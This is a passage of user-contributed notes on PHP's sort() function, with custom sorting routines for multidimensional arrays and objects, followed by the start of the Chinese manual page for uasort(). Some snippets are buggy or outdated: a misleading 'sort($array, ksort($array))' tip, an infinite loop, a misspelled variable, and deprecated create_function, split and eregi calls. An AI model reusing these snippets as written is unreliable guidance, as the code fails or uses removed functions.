                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
eriewave at hotmail dot com 29-Mar-2010 01:16
If you need to sort an array containing some equivalent values and you want the equivalents to end up next to each other in the overall order (similar to a MySQL's ORDER BY output), rather than breaking the function, do this:

<?php

sort($array, ksort($array))

?>

-When the sort() function finds two equivalents, it will sort them arbitrarily by their key #'s as a second parameter.

-Dirk
Dollar Hauler Admin 11-Mar-2010 10:10
I could never find a way to sort multidimensional arrays with 5+ keys while maintaining the data structure, but here it is:

(you can add an infinite number of keys, but it has to be added manually :\ )

<?php

$array[0]['name']  = 'Chris';
$array[0]['phone'] = '3971095';
$array[0]['year']  = '1978';
$array[0]['address'] = 'Street 1';

$array[1]['name']  = 'Breanne';
$array[1]['phone'] = '3766350';
$array[1]['year']  = '1990';
$array[1]['address'] = 'Street 2';

$array[2]['name']  = 'Dusty';
$array[2]['phone'] = '1541120';
$array[2]['year']  = '1982';
$array[2]['address'] = 'Street 3';

function multisort($array, $sort_by, $key1, $key2=NULL, $key3=NULL, $key4=NULL, $key5=NULL, $key6=NULL){
    // sort by ?
    foreach ($array as $pos =>  $val)
        $tmp_array[$pos] = $val[$sort_by];
    asort($tmp_array);

    // display however you want
    foreach ($tmp_array as $pos =>  $val){
        $return_array[$pos][$sort_by] = $array[$pos][$sort_by];
        $return_array[$pos][$key1] = $array[$pos][$key1];
        if (isset($key2)){
            $return_array[$pos][$key2] = $array[$pos][$key2];
            }
        if (isset($key3)){
            $return_array[$pos][$key3] = $array[$pos][$key3];
            }
        if (isset($key4)){
            $return_array[$pos][$key4] = $array[$pos][$key4];
            }
        if (isset($key5)){
            $return_array[$pos][$key5] = $array[$pos][$key5];
            }
        if (isset($key6)){
            $return_array[$pos][$key6] = $array[$pos][$key6];
            }
        }
    return $return_array;
    }

//usage (only enter the keys you want sorted):

$sorted = multisort($array,'year','name','phone','address');
print_r($sorted);

//output:
Array ( [0] => Array ( [year] => 1978 [name] => Chris [phone] => 3971095 [address] => Street 1 ) [2] => Array ( [year] => 1982 [name] => Dusty [phone] => 1541120 [address] => Street 3 ) [1] => Array ( [year] => 1990 [name] => Breanne [phone] => 3766350 [address] => Street 2 ) )
Brecht Cloetens 23-Nov-2009 03:57
<?php

/**
 * function: array_columns
 * author: Brecht Cloetens
 * params: $a = array() // original array
 *         $c = int() // number of columns
 */
function array_columns(&$a, $c=2)
{
    $m = ceil(count($a)/$c);
    $j = 0;
    for($i=0; $i<$m; $i++) {
        for($k=0; $k<$c; $k++) {
            $key = $i+($m*$k);
            settype($key,'integer');
            if(array_key_exists($key,$a)) {
                $b[$j] = $a[$key];
                $j++;
            }
        }
    }
    $a = $b;
}

$arr = range('a','z');
array_columns($arr,4);
print_r($arr);

?>

Example:
array(1,2,3,4,5) will be converted to array(1,4,2,5,3);

This can be easy if you want to display an array into a specified number of columns.

<table>
    <tr>
        <td>$arr[0] => 1</td>
        <td>$arr[1] => 4</td>
    </tr>
    <tr>
        <td>$arr[2] => 2</td>
        <td>$arr[3] => 5</td>
    </tr>
    <tr>
        <td>$arr[4] => 3</td>
        <td></td>
    </tr>
</table>
Anonymous 17-Nov-2009 06:10
[EDIT BY danbrown AT php DOT net: The code provided by this anonymous author contains bugfixes for and additions to code originally donated by "toenie" on 07-NOV-09.  The original author included the following note: "If you want to sort while using an 2 dimensional array, you can use this script I just wrote for myself. I thought it could be helpful for other people too."]

I also added the ability to sort in ascending and descending order.

$order = "ASC" will sort the array in ascending order
$order = "DESC" will sort the array in descending order

Here is the code:

<?php
    function order_array_num ($array, $key, $order = "ASC")
    {
        $tmp = array();
        foreach($array as $akey => $array2)
        {
            $tmp[$akey] = $array2[$key];
        }

        if($order == "DESC")
        {arsort($tmp , SORT_NUMERIC );}
        else
        {asort($tmp , SORT_NUMERIC );}

        $tmp2 = array();
        foreach($tmp as $key => $value)
        {
            $tmp2[$key] = $array[$key];
        }

        return $tmp2;
    }
?>
petr dot biza at gmail dot com 11-Sep-2009 06:29
Here is a function to sort an array by the key of his sub-array with keep key in top level.

<?php
function sksort(&$array, $subkey="id", $sort_descending=false, $keep_keys_in_sub = false) {
    $temp_array = $array;

    foreach ($temp_array as $key => &$value) {

      $sort = array();
      foreach ($value as $index => $val) {
          $sort[$index] = $val[$subkey];
      }

      asort($sort);

      $keys = array_keys($sort);
      $newValue = array();
      foreach ($keys as $index) {
        if($keep_keys_in_sub)
            $newValue[$index] = $value[$index];
          else
            $newValue[] = $value[$index];
      }

      if($sort_descending)
        $value = array_reverse($newValue, $keep_keys_in_sub);
      else
        $value = $newValue;
    }

    $array = $temp_array;
  }
?>
danm68 at gmail dot com 25-Aug-2009 09:59
sort() used with strings doesn't sort just alphabetically. It sorts all upper-case strings alphabetically first and then sorts lower-case strings alphabetically second.
Just in case anyone was as confused as I was and I've never seen this mentioned anywhere.
otobrglez at gmail dot com 18-Feb-2009 12:45
This will select number of unique keys from array and order them in original order.

<?php
/*
$rows - array of records
$st - number of keys that you want to have

By Oto Brglez.

*/

$pom_k = array();
for($i=0; $i<$st;){
    $pom = array_rand($rows,1);
    if(!in_array($pom,$pom_k)){
        $pom_k[] = $pom;
        $i++;
    };
};
sort($pom_k,SORT_NUMERIC);

?>
stepmuel at ee dot ethz dot ch 09-Dec-2008 08:14
A little shorter way to sort an array of objects; with a callback function.

<?php
function objSort(&$objArray,$indexFunction,$sort_flags=0) {
    $indices = array();
    foreach($objArray as $obj) {
        $indeces[] = $indexFunction($obj);
    }
    return array_multisort($indeces,$objArray,$sort_flags);
}

function getIndex($obj) {
    return $obj->getPosition();
}

objSort($objArray,'getIndex');
?>
jalil at measat dot org 15-Nov-2008 01:48
this is an implementation of the complement of
Matthew Hood's objectSort (http://my.php.net/manual/en/function.sort.php#75036), which i found very convenient for sorting objects.

this does the reverse, it sorts according to the key
selected for the object but in reverse order.
and having both sort methods allows consistency and convenience for sorting objects, if speed isn't your major concern.

the only change ( apart form data being reworded as object )  is the use of < instead of > in the original.
you could of couse incorporate all in one routine, but why
complicate matters.

<?php
    function objectRSort(&$object, $key)
    {
        for ($i = count($object) - 1; $i >= 0; $i--)
        {
          $swapped = false;
          for ($j = 0; $j < $i; $j++)
          {
               if ($object[$j]->$key < $object[$j + 1]->$key)
               {
                    $tmp = $object[$j];
                    $object[$j] = $object[$j + 1];
                    $object[$j + 1] = $tmp;
                    $swapped = true;
               }
          }
          if (!$swapped) return;
        }
    }
?>
www at designdetector dot com 09-Sep-2008 07:43
To sort an array of multiple text fields alphabetically you have to make the text lowercase before sorting the array. Otherwise PHP puts acronyms before words. You can see this in my example code. Simply store the original text field at the end of the array line and call it later from there. You can safely ignore the lowercase version which is added to the start of the array line.

<?php
echo '<pre>ORIGINAL DATA:
<br />';

$data = array(
'Saturn|7|8|9|0||',
'Hello|0|1|2|3||',
'SFX|5|3|2|4||',
'HP|9|0|5|6||'
);

print_r($data);

sort($data);
reset($data);

echo '<br />RAW SORT:
<br />';

print_r($data);

for ($c = 0; $c < count($data); $c++) {
    list ($letter,$g1,$g2,$g3,$g4,$end) = explode ('|', $data[$c]);
    $lowercase = strtolower($letter);
    $data2[$c] = array($lowercase,$g1,$g2,$g3,$g4,$letter);
}

sort($data2);
reset($data2);

echo '<br />LOWERCASE SORT:
<br />';

print_r($data2);

echo '</pre>';
?>
matpatnik at hotmail dot com 23-Jan-2008 03:46
This function will sort entity letters eg:&eacute;

I hope that help someone

function sort_entity($array) {
    $total = count($array);
    for ($i=0;$i<$total;$i++) {
        if ($array[$i]{0} == '&') {
            $array[$i] = $array[$i]{1}.$array[$i];
        } else {
            $array[$i] = $array[$i]{0}.$array[$i];
        }
    }
    sort($array);

    for ($i=0;$i<$total;$i++) {
        $array[$i] = substr($array[$i],1);
    }

    return $array;
}
NBS Studio 04-Jul-2007 01:14
This is my way of sorting files into date modified date order. It worked for me!

$dir='topics';
$ext='php5';
$files=scandir($dir);
foreach($files as $fs){
    if(($fs!='.')&&($fs!='..')){
        $fs1.='?'.filemtime($dir.'/'.$fs).'#'.$fs;
    }
}
$fs2=split('[?]',$fs1);
arsort($fs2);
foreach($fs2 as $fs3){
    if(eregi($ext,$fs3)){
        $fs4.='?'.$fs3;
    }
}
$fs5=split('[#]',$fs4);
foreach($fs5 as $fs6){
    if(eregi($ext,$fs6)){
        $fs7.='?'.$fs6;
    }
}
$fs8=split('[?]',$fs7);
foreach($fs8 as $fs9){
    $file_list.=$fs9.'
</br>';
}

print $file_list;
sinan at sinaneldem dot com 23-Jun-2007 08:29
here is little script which will merge arrays, remove duplicates and sort it by alphabetical order:

<?php

$array1 = array('apple', 'banana','pear');
$array2 = array('grape', 'pear','orange');

function array_unique_merge_sort($array1, $array2){
$array = array_unique(array_merge($array1, $array2));
sort($array);
foreach ($array as $key => $value) {
    $new[$key] = $value;
}
return $new;
}

print_r (array_unique_merge_sort($array1, $array2));

?>

this will print out:

Array ( [0] => apple [1] => banana [2] => grape [3] => orange [4] => pear )
alishahnovin at hotmail dot com 25-May-2007 04:11
I had a multidimensional array, which needed to be sorted by one of the keys. This is what I came up with...

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if ($item[$id]<$array[$lowest_id][$id]) {
                    $lowest_id = $index;
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4", "id"=>4);
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)
      'id' => 4

*/

?>
joris at mangrove dot nl 01-Feb-2007 05:40
Commenting on note http://www.php.net/manual/en/function.sort.php#62311 :

Sorting an array of objects will not always yield the results you desire.

As pointed out correctly in the note above, sort() sorts the array by value of the first member variable. However, you can not always assume the order of your member variables! You must take into account your class hierarchy!

By default, PHP places the inherited member variables on top, meaning your first member variable is NOT the first variable in your class definition!
However, if you use code analyzers or a compile cache, things can be very different. E.g., in eAccelerator, the inherited member variables are at the end, meaning you get different sort results with caching on or off.

Conclusion:
Never use sort on arrays with values of a type other than scalar or array.
alex [at] vkpb [dot] com 26-Jan-2007 03:36
Sorting of an array by a method of inserts.

<?

       function sortByField($multArray,$sortField,$desc=true){
            $tmpKey='';
            $ResArray=array();

            $maIndex=array_keys($multArray);
            $maSize=count($multArray)-1;

            for($i=0; $i < $maSize ; $i++) {

               $minElement=$i;
               $tempMin=$multArray[$maIndex[$i]][$sortField];
               $tmpKey=$maIndex[$i];

                for($j=$i+1; $j <= $maSize; $j++)
                  if($multArray[$maIndex[$j]][$sortField] < $tempMin ) {
                     $minElement=$j;
                     $tmpKey=$maIndex[$j];
                     $tempMin=$multArray[$maIndex[$j]][$sortField];

                  }
                  $maIndex[$minElement]=$maIndex[$i];
                  $maIndex[$i]=$tmpKey;
            }

           if($desc)
               for($j=0;$j<=$maSize;$j++)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];
           else
              for($j=$maSize;$j>=0;$j--)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];

           return $ResArray;
       }

// make array
$array['aaa']=array("name"=>"vasia","order"=>1);
$array['bbb']=array("name"=>"petia","order"=>2);
$array['ccc']=array("name"=>"kolia","order"=>3);
$array['ddd']=array("name"=>"zenia","order"=>4);

// set sort
$SortOrder=0; // desc by default , 1- asc

var_dump(sortByField($array,'order',$SortOrder));

array
  'ddd' =>
    array
      'name' => 'zenia' (length=5)
      'order' => 4
  'aaa' =>
    array
      'name' => 'vasia' (length=5)
      'order' => 1
  'bbb' =>
    array
      'name' => 'petia' (length=5)
      'order' => 2
  'ccc' =>
    array
      'name' => 'kolia' (length=5)
      'order' => 3

?>
g8z at yahoo dot com 14-Jul-2006 04:28
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

For example:

$a = array();

$a []= array(
    'name'         => 'Sam',
    'age'         => 23,
    'hire_date'    => '2004-01-01'
);
$a []= array(
    'name'        => 'Sam',
    'age'        => 44,
    'hire_date'    => '2003-03-23'
);
$a []= array(
    'name'        => 'Jenny',
    'age'        => 20,
    'hire_date' => '2000-12-31'
);
$a []= array(
    'name'        => 'Samantha',
    'age'        => 50,
    'hire_date' => '2000-12-14'
);

$sticky_fields = array( 'name' );
print_r( stickysort( $a, 'age', DESC_NUM, $sticky_fields ) );

OUTPUT:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 44
            [hire_date] => 2003-03-23
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 23
            [hire_date] => 2004-01-01
        )
    [2] => Array
        (
            [name] => Jenny
            [age] => 20
            [hire_date] => 2000-12-31
        )
    [3] => Array
        (
            [name] => Samantha
            [age] => 50
            [hire_date] => 2000-12-14
        )
)

Here's why this is the correct output - the "name" field is sticky, so it cannot change its sort order. Thus, the "age" field is only sorted as a sub-sort within records where "name" is identical. Thus, the "Sam" records are reversed, because 44 > 23, but Samantha remains at the bottom, even though her age is 50. This is a way of achieving "sub-sorts" and "sub-sub-sorts" (and so on) within records of identical data for specific fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 08:58
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
Emiliyan at ServicesBG dot Com 28-Mar-2006 07:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
    foreach ($array as $i => $befree) {
        $myarray[$i] = $array[$i][$keyname];
    }
   # Sort the new array by
    switch ($sortby) {
    case 'asc':
    # Sort an array and maintain index association...
    asort($myarray);
    break;
    case 'arsort':
    # Sort an array in reverse order and maintain index association
    arsort($myarray);
    break;
    case 'natcasesor':
    # Sort an array using a case insensitive "natural order" algorithm
    natcasesort($myarray);
    break;
    }
    # Rebuild the old array
    foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
    }
    return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
ludvig dot ericson at gmail dot com 25-Feb-2006 09:48
A tip for those who like "raul at jimi dot com dot mx" need to preserve keys after changing stuff in the middle of an array:
array_values.

Example:
<?php
$array = array(1, 2, 5, 9, 3);
unset($array[3]); // Remove index 3, which is 9.
$array = array_values($array);
?>

Hint: array_values can be fine for removing keys and reindex them by number instead, too (applies to functions like posix_pwgetuid which returns an associative array, unlike C and others, call array_values on it, and it'll be the same format IIRC.)
jesper at snt dot utwente dot nl 24-Feb-2006 01:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
jerome a-t+ yamafoto d*o*t com 22-Feb-2006 09:39
when sorting an array, beware of variable type from elements you put in this array

Example:

$a = 2; // $a is an integer
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = 'item';
$arr[1] = 2;

$a = '2'; // $a is a string
$b = 'item';
$arr = array($a, $b);
sort($arr);

print_r($arr);

this will output:
$arr[0] = '2';
$arr[1] = 'item'

to avoid this problem use:

sort($arr, SORT_STRING)
nm at thenoodleman dot com 30-Jan-2006 05:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
    $result=array();
    foreach($array as $var => $val){
        $set=false;
        foreach($result as $var2 => $val2){
            if($set==false){
                if($val>$val2 && $type=='desc' || $val<$val2 && $type=='asc'){
                    $temp=array();
                    foreach($result as $var3 => $val3){
                        if($var3==$var2) $set=true;
                        if($set){
                            $temp[$var3]=$val3;
                            unset($result[$var3]);
                        }
                    }
                    $result[$var]=$val;
                    foreach($temp as $var3 => $val3){
                        $result[$var3]=$val3;
                    }
                }
            }
        }
        if(!$set){
            $result[$var]=$val;
        }
    }
    return $result;
}

Works for ordering by integers or strings, no need to specify which.

Example:

$array=array('a' => 50, 'b' => 25, 'c' => 75);
print_r(array_sort($array));

Returns:
Array
(
[b] => 25
[a] => 50
[c] => 75
)
james at miicro dot net 24-Jan-2006 10:26
Further to john dot dutcher at highmark dot com's comments - padding the name could cause a problem if you get abnormally long names, it might be better to rebuild the array thus:

Array (
[0] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
[1] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[2] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[3] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
)

which should give:

Array (
[0] => Array ( [sortname_01] => Dut [sortname_02] => H [sortname_03] => Maurice [name] => Dut, Maurice H )
[1] => Array ( [sortname_01] => Dut [sortname_02] => S [sortname_03] => Mildred [name] => Dut, Mildred S )
[2] => Array ( [sortname_01] => Dutch [sortname_02] => A [sortname_03] => Roger [name] => Dutch, Roger A )
[3] => Array ( [sortname_01] => Dutcher [sortname_02] => F [sortname_03] => John [name] => Dutcher, John F )
)
raul at jimi dot com dot mx 01-Dec-2005 09:50
I had an array like this:
$arr=array (1,4,3,6,5);

which returns this:
$arr[0]=1
$arr[1]=4
$arr[2]=3
$arr[3]=6
$arr[4]=5

But lets say i remove [2] which is number 3, i get:

$arr[0]=1
$arr[1]=4
$arr[3]=6
$arr[4]=5

And i want to reindex without doing a sort because i dont want to lose the order of the numbers (like a pop in a stack but in the middle of the list), i do this:

$arr=array_chunk($arr,count($arr));
$arr=$arr[0];

the result is:

$arr[0]=1
$arr[1]=4
$arr[2]=6
$arr[3]=5

This can be applied mostly for tree sorting, when you only have the id and the parent values of the node, and you want to have N levels.
james at miicro dot net 19-Jul-2005 02:49
It's useful to know that if you're using this function on a multidimensional array, php will sort the first key, then the second and so on. This is similar to being able to use SQL to order by field1, field2 etc.

So:

Array (
[0] => Array ( [category] => work [name] => Smith )
[1] => Array ( [category] => play [name] => Johnson )
[2] => Array ( [category] => work [name] => Berger )
)

will become:

Array (
[0] => Array ( [category] => play [name] => Johnson )
[1] => Array ( [category] => work [name] => Berger )
[2] => Array ( [category] => work [name] => Smith )
)

Hope it helps someone.
timc at hlyw dot com 17-Feb-2005 04:04
I dig the multi_sort function(s) from above.  But, they don't work for hash arrays.  I added a keys variable to keep track of the key value as the array gets sorted.  Feed back welcome.

<?php
function array_qsort (&$array, $column=0, $order=SORT_ASC, $first=0, $last= -2)
{
  // $array  - the array to be sorted
  // $column - index (column) on which to sort
  //          can be a string if using an associative array
  // $order  - SORT_ASC (default) for ascending or SORT_DESC for descending
  // $first  - start index (row) for partial array sort
  // $last  - stop  index (row) for partial array sort
  // $keys  - array of key values for hash array sort

  $keys = array_keys($array);
  if($last == -2) $last = count($array) - 1;
  if($last > $first) {
   $alpha = $first;
   $omega = $last;
   $key_alpha = $keys[$alpha];
   $key_omega = $keys[$omega];
   $guess = $array[$key_alpha][$column];
   while($omega >= $alpha) {
     if($order == SORT_ASC) {
       while($array[$key_alpha][$column] < $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] > $guess) {$omega--; $key_omega = $keys[$omega]; }
     } else {
       while($array[$key_alpha][$column] > $guess) {$alpha++; $key_alpha = $keys[$alpha]; }
       while($array[$key_omega][$column] < $guess) {$omega--; $key_omega = $keys[$omega]; }
     }
     if($alpha > $omega) break;
     $temporary = $array[$key_alpha];
     $array[$key_alpha] = $array[$key_omega]; $alpha++;
     $key_alpha = $keys[$alpha];
     $array[$key_omega] = $temporary; $omega--;
     $key_omega = $keys[$omega];
   }
   array_qsort ($array, $column, $order, $first, $omega);
   array_qsort ($array, $column, $order, $alpha, $last);
  }
}
?>
anthony at ectrolinux dot com 08-Sep-2004 04:39
In a brief addition to the previous poster's message, the ascending sorting order used by PHP directly corresponds to ISO-8859-1 (ASCII). Therefore the character \48 (numeral 0) would be placed before the character \82 (R), which would be placed before the character \110 (n), and so forth.
teunkloosterman at hotmail dot com 30-Aug-2004 01:14
Just to show how it sorts:

<?php
$array = Array("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", " ", "!", "@", "#", "\\\$", "%", "^", "&", "*", "(", ")", "_", "-", "=", "+", "\\\\", "|", ",", "<", ".", ">", "?", "'", "\\\"", "`", "~");
sort($array);
echo implode("", $array);
?>

returns:

 !"#$%&'()*+,-.0123456789<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ
\^_`abcdefghijklmnopqrstuvwxyz|~

note: the result begins with a space
arjan321 at hotmail dot com 31-Jan-2003 12:23
Ik you want to sort case insensitive, use the natcasesort()
phpdotnetNO_SPAM at electronic-strategy dot com 05-Jul-2001 09:34
/*
Small function to Alphabetically sort Multidimensional arrays by index values of an n dimension array.

I have only tested this for sorting an array of up to 6 dimensions by a value within the second dimension. This code is very rough and works for my purposes, but has not been tested beyond my needs.

Although a little clunky and not a mathematical type algorithm, it get's the job done. It theoretically overcomes many of the problems I have seen with multidimensional arrays in that it is possible to specify within the function, not by reference :-(, which index you wish to sort by, no matter how many dimensions down.

call function by assigning it to a new / existing array:

$row_array = multidimsort($row_array);
*/

function multidimsort($array_in) {
     $multiarray = array();
    $array_out = array();
    $loopvalue = 0;

    /* -1 as traversal of array starts from 0, count() starts from 1 */
    $multicount = count($array_in) - 1;

    /* add the indexes you wish to sort array by to a new array in this case index is two levels down, but shouldn't make a difference if it goes further indexes down. (Not tested!) */
    for($i = 0; $i <= $multicount; $i++) {
        array_push($multiarray, $array_in[$i][2]);
        //array_push($multiarray, $array_in[$i][2][4]);
        //array_push($multiarray, $array_in[$i][1][3][7]);
    }

    /* alphabetically sort the new array (Ascending in this case) can chage sort to whatever type you like. Even apply user-defined sort. */
    asort($multiarray);

    /* reset internal pointer to beginning of array after above sort */
    reset($multiarray);

    /* traverse new array of index values and add the corresponding element of the input array to the correct position in the output array */
    while (list ($key, $val) = each ($multiarray)) {

        $array_out[$loopvalue] = $array_in[$key];

        $loopvalue++;
    }

    /* return the output array which is all nicely sorted by the index you wanted! */
    return $array_out;
}
peek at mailandnews dot com 07-Apr-2001 04:06
I ran into the same problem with case insensitive sorting. Actually I think there should be a SORT_STRING_CASE flag but I tried the following:

usort($listing, 'strcasecmp');

This didn't work (why not?), but you can do a proper case insensitive sort like this:

usort($listing, create_function('$a,$b','return strcasecmp($a,$b);'));


使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

  • ? sort
  • uksort ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

uasort

(PHP 4, PHP 5, PHP 7)

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

说明

uasort ( array &$array , callable $value_compare_func ) : bool

本函数对数组排序并保持索引和单元之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

value_compare_func

用户自定义比较函数的例子请参考 usort() 和 uksort()。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 uasort() 的基本例子

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
